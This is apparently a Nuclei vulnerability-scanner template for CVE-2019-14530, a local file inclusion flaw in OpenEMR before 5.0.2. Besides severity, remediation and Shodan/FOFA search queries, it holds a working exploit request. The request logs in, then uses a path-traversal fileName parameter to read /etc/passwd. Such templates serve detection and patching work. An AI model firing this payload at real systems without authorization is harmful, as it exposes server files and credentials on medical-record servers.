id: CVE-2019-14530

info:
  name: OpenEMR <5.0.2 - Local File Inclusion
  author: TenBird
  severity: high
  description: |
    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
    - https://github.com/sec-it/exploit-CVE-2019-14530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14530
    cwe-id: CWE-22
    epss-score: 0.66891
    epss-percentile: 0.99198
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query:
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve2019,cve,lfi,authenticated,edb,openemr,open-emr,vuln

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - filename=passwd

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022011629a0bcde56b9e21b9eaf03979299f1be6dc061b68548c3a6ea665c0c6f0c3022100ce5b451179fda2e262fc4bba1e20f97c3b7b86081f0a9f4e38042f4a58d3ad38:922c64590222798bb761d5b6d8e72950